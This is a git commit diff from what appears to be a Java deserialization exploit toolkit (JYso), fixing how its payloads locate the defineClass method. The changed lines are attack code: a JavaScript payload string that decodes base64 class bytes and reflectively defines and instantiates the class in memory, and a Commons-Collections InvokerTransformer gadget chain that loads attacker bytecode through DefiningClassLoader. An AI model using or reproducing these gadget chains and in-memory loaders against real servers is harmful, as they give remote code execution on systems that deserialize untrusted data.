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修复在特定环境下JSEngine无法获取到defineClass的bug

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misaka
2025-06-10 16:19:22 +08:00
parent 92a013c2c1
commit 27570c23ad
3 changed files with 3 additions and 3 deletions
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build.gradle
+1 -1
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@@ -145,5 +145,5 @@ tasks.withType(Javadoc) {
compileJava {
options.compilerArgs << '-XDignore.symbol.file'
options.fork = true
options.forkOptions.executable = 'C:\\env\\JAVA\\corretto_jdk1.8.0_412\\bin\\javac.exe'
options.forkOptions.executable = System.getenv("JAVA_HOME") + "\\bin\\javac.exe"
}
src/main/java/com/qi4l/JYso/gadgets/utils/Utils.java
+1 -1
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@@ -104,7 +104,7 @@ public class Utils {
if (USING_RHINO) {
return "new com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass(\"" + generateBCELFormClassBytes(classBytes) + "\").newInstance();";
} else {
return "var data = \"" + base64Encode(classBytes) + "\";var dataBytes=java.util.Base64.getDecoder().decode(data);var cloader= java.lang.Thread.currentThread().getContextClassLoader();var superLoader=cloader.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass();var method=superLoader.getDeclaredMethod(\"defineClass\",dataBytes.getClass(),java.lang.Integer.TYPE,java.lang.Integer.TYPE);method.setAccessible(true);var memClass=method.invoke(cloader,dataBytes,0,dataBytes.length);memClass.newInstance();";
return "var data = \"" + base64Encode(classBytes) + "\";var dataBytes=java.util.Base64.getDecoder().decode(data);var cl= java.lang.Thread.currentThread().getContextClassLoader();var clClass = cl.getClass();var defineClassMethod = null;while (clClass != null) {try {defineClassMethod = clClass.getDeclaredMethod(\"defineClass\", dataBytes.getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);defineClassMethod.setAccessible(true);break;} catch (e) {clClass = clClass.getSuperclass();}}if (defineClassMethod != null) {var memClass = defineClassMethod.invoke(cl, dataBytes, 0, dataBytes.length);memClass.newInstance();} else {throw \"Cannot find defineClass method.\";}";
}
}
src/main/java/com/qi4l/JYso/gadgets/utils/cc/TransformerUtil.java
+1 -1
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@@ -59,7 +59,7 @@ public class TransformerUtil {
} else if (command.startsWith("EX-") || command.startsWith("LF-")) {
CtClass ctClass = generateClass(command);
if (!USING_MOZILLA_DEFININGCLASSLOADER) {
if (USING_MOZILLA_DEFININGCLASSLOADER) {
// 使用 DefiningClassLoader 加载，不是所有 JDK 均有 org.mozilla.javascript.DefiningClassLoader
// 在 NC 中可以使用
transformers = new Transformer[]{new ConstantTransformer(org.mozilla.javascript.DefiningClassLoader.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}), new InvokerTransformer("defineClass", new Class[]{String.class, byte[].class}, new Object[]{ctClass.getName(), ctClass.toBytecode()}), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new ConstantTransformer(1)};